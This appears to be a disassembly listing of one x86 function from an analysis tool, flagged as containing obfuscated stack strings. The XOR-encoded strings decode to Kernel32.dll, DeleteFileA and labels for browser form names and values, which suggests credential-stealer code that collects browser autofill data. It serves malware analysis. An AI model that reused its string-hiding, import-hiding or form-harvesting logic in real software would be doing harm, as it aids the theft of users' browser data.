Function at 0x4161b5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x44d6f9
call fcn.0044d3f0
sub esp, 0x230
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov edi, ecx
xor ebx, ebx
mov dword [ebp - 0x68], ebx
and dword [ebp - 4], ebx
lea esi, [edi + 0xac]
push esi
call fcn.0040b94f
test al, al
je 0x41628f
mov dl, 0x59
mov dword [ebp - 0x44], 0x2b3c1259
mov dword [ebp - 0x40], 0x6a353c37
mov dword [ebp - 0x3c], 0x353d776b
mov word [ebp - 0x38], 0x35
xor ecx, ecx
mov dword [ebp - 0x6c], ecx
push 0xc
pop eax
cmp ecx, eax
jae 0x41622b
lea eax, [ebp - 0x44]
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x44]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x6c], ecx
mov dl, byte [ebp - 0x44]
jmp 0x41620b
mov byte [ebp - 0x37], 0
mov dword [ebp - 0x64], esi
cmp dword [esi + 0x14], 0xf
jbe 0x41623d
mov eax, dword [esi]
mov dword [ebp - 0x64], eax
mov dl, 0x6d
mov dword [ebp - 0x1e], 0x108296d
mov dword [ebp - 0x1a], 0x2b081908
mov dword [ebp - 0x16], 0x2c080104
mov byte [ebp - 0x12], 0
xor ecx, ecx
mov dword [ebp - 0x70], ecx
lea eax, [ebp - 0x1e]
cmp ecx, 0xb
jae 0x41627b
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x1e]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x70], ecx
mov dl, byte [ebp - 0x1e]
jmp 0x41625d
mov byte [ebp - 0x12], 0
push dword [ebp - 0x64]
lea edx, [ebp - 0x1d]
lea ecx, [ebp - 0x43]
call fcn.0040af96
call eax
push esi
push dword [ebp + 8]
call fcn.0040b8bb
lea eax, [ebp - 0x11]
push eax
push esi
lea ecx, [ebp - 0x14c]
call fcn.0041186f
cmp byte [ebp - 0x11], 0
je 0x41631d
movaps xmm0, xmmword [0x408d10]
movups xmmword [ebp - 0x9d], xmm0
mov byte [ebp - 0x8d], 0
lea edx, [ebp - 0x9d]
xor ecx, ecx
mov dword [ebp - 0x74], ecx
cmp ecx, 0xf
jae 0x4162e4
mov al, byte [edx + ecx + 1]
xor al, byte [ebp - 0x9d]
mov byte [edx + ecx + 1], al
inc ecx
jmp 0x4162cb
mov byte [ebp - 0x8d], 0
lea eax, [ebp - 0x9c]
push eax
lea ecx, [ebp - 0xec]
call fcn.0040fb41
or ebx, 1
mov dword [ebp - 0x68], ebx
lea eax, [ebp - 0xec]
push eax
lea ecx, [ebp - 0x14c]
call fcn.004118f1
test al, al
mov byte [ebp - 0x11], 1
jne 0x416321
mov byte [ebp - 0x11], 0
test bl, 1
je 0x416337
and ebx, 0xfffffffe
mov dword [ebp - 0x68], ebx
lea ecx, [ebp - 0xec]
call fcn.0040fa99
cmp byte [ebp - 0x11], 0
je 0x4166cf
push 0x40835c
lea ecx, [ebp - 0xbc]
call fcn.0040fb41
push 1
push dword [ebp + 8]
lea eax, [ebp - 0xd4]
push eax
mov ecx, edi
call fcn.00413f2f
mov eax, dword [edi + 0x120]
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x110]
sub eax, dword [ebp - 0x114]
cdq
push 0xc
pop ebx
idiv ebx
mov dword [ebp - 0x64], eax
cmp eax, 0x10000
jne 0x4163b2
lea ecx, [ebp - 0xd4]
call fcn.0040fa99
lea ecx, [ebp - 0xbc]
call fcn.0040fa99
lea ecx, [ebp - 0x14c]
call fcn.00414b19
jmp 0x4166de
xor esi, esi
mov dword [ebp - 0x84], esi
cmp esi, eax
jge 0x4165c4
push 2
push esi
lea eax, [ebp - 0xa4]
push eax
lea ecx, [ebp - 0x14c]
call fcn.00411b68
mov edx, 0x40835c
lea ecx, [ebp - 0xa4]
call fcn.0040ff4b
test al, al
jne 0x4165aa
cmp dword [ebp - 0x94], 0x5a
jae 0x4165aa
mov dl, 0x2f
mov dword [ebp - 0x36], 0x5d40692f
mov dword [ebp - 0x32], 0x4e410f42
mov dword [ebp - 0x2e], 0xf154a42
mov byte [ebp - 0x2a], al
xor ecx, ecx
mov dword [ebp - 0x78], ecx
cmp ecx, 0xb
jae 0x416433
mov al, byte [ebp + ecx - 0x35]
xor al, dl
mov byte [ebp + ecx - 0x35], al
inc ecx
mov dword [ebp - 0x78], ecx
mov dl, byte [ebp - 0x36]
jmp 0x41641b
mov byte [ebp - 0x2a], 0
push 0x4083b0
push 1
push esi
lea eax, [ebp - 0x194]
push eax
lea ecx, [ebp - 0x14c]
call fcn.00411b68
push eax
lea edx, [ebp - 0x35]
lea ecx, [ebp - 0x17c]
call fcn.00410015
mov edx, eax
lea ecx, [ebp - 0x164]
call fcn.0040fd46
push eax
lea ecx, [ebp - 0xbc]
call fcn.0040fa32
lea ecx, [ebp - 0x164]
call fcn.0040fa99
lea ecx, [ebp - 0x17c]
call fcn.0040fa99
lea ecx, [ebp - 0x194]
call fcn.0040fa99
mov dl, 0x73
mov dword [ebp - 0x52], 0x11c3573
mov dword [ebp - 0x4e], 0x1205531e
mov dword [ebp - 0x4a], 0x4916061f
mov word [ebp - 0x46], 0x53
xor ecx, ecx
mov dword [ebp - 0x7c], ecx
cmp ecx, ebx
jae 0x4164d3
mov al, byte [ebp + ecx - 0x51]
xor al, dl
mov byte [ebp + ecx - 0x51], al
inc ecx
mov dword [ebp - 0x7c], ecx
mov dl, byte [ebp - 0x52]
jmp 0x4164bc
mov byte [ebp - 0x45], 0
push 0x4083b0
lea eax, [ebp - 0xa4]
push eax
lea edx, [ebp - 0x51]
lea ecx, [ebp - 0x1c4]
call fcn.00427fce
mov edx, eax
lea ecx, [ebp - 0x1ac]
call fcn.0040fd46
push eax
lea ecx, [ebp - 0xbc]
call fcn.0040fa32
lea ecx, [ebp - 0x1ac]
call fcn.0040fa99
lea ecx, [ebp - 0x1c4]
call fcn.0040fa99
mov dl, 0x19
mov dword [ebp - 0x29], 0x766b5b19
mov dword [ebp - 0x25], 0x6b7c6a6e
mov word [ebp - 0x21], 0x3923
mov byte [ebp - 0x1f], 0
xor ecx, ecx
mov dword [ebp - 0x80], ecx
cmp ecx, 9
jae 0x416557
mov al, byte [ebp + ecx - 0x28]
xor al, dl
mov byte [ebp + ecx - 0x28], al
inc ecx
mov dword [ebp - 0x80], ecx
mov dl, byte [ebp - 0x29]
jmp 0x41653f
mov byte [ebp - 0x1f], 0
push 0x40848c
lea eax, [ebp - 0xd4]
push eax
lea edx, [ebp - 0x28]
lea ecx, [ebp - 0x1f4]
call fcn.00427fce
mov edx, eax
lea ecx, [ebp - 0x1dc]
call fcn.0040fd46
push eax
lea ecx, [ebp - 0xbc]
call fcn.0040fa32
lea ecx, [ebp - 0x1dc]
call fcn.0040fa99
lea ecx, [ebp - 0x1f4]
call fcn.0040fa99
inc dword [edi + 0x120]
lea ecx, [ebp - 0xa4]
call fcn.0040fa99
inc esi
mov dword [ebp - 0x84], esi
mov eax, dword [ebp - 0x64]
jmp 0x4163ba
mov edx, 0x40835c
lea ecx, [ebp - 0xbc]
call fcn.0040ff4b
test al, al
jne 0x4166b9
lea eax, [ebp - 0xbc]
push eax
lea ecx, [edi + 0x7c]
call fcn.0040fa32
mov edx, dword [edi + 0x120]
sub edx, dword [ebp - 0x88]
lea ecx, [ebp - 0x23c]
call fcn.0040b102
mov esi, eax
mov dl, 0x3e
mov dword [ebp - 0x5f], 0x1e041e3e
mov dword [ebp - 0x5b], 0x504b517d
mov dword [ebp - 0x57], 0x1e031e4a
mov byte [ebp - 0x53], 0
lea ebx, [ebp - 0x5f]
xor ecx, ecx
mov dword [ebp - 0x8c], ecx
cmp ecx, 0xb
jae 0x416645
mov al, byte [ecx + ebx + 1]
xor al, dl
mov byte [ecx + ebx + 1], al
inc ecx
mov dword [ebp - 0x8c], ecx
mov dl, byte [ebp - 0x5f]
jmp 0x41662a
mov byte [ebp - 0x53], 0
lea eax, [ebp - 0x5e]
push eax
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x224]
call fcn.0040fcf9
push esi
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x104]
call fcn.00410566
push 0x4083b0
lea edx, [ebp - 0x104]
lea ecx, [ebp - 0x20c]
call fcn.0040fd46
push eax
lea ecx, [edi + 0xdc]
call fcn.0040fa32
lea ecx, [ebp - 0x20c]
call fcn.0040fa99
lea ecx, [ebp - 0x104]
call fcn.0040fa99
lea ecx, [ebp - 0x224]
call fcn.0040fa99
lea ecx, [ebp - 0x23c]
call fcn.0040fa99
lea ecx, [ebp - 0xd4]
call fcn.0040fa99
lea ecx, [ebp - 0xbc]
call fcn.0040fa99
lea ecx, [ebp - 0x14c]
call fcn.00414b19
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4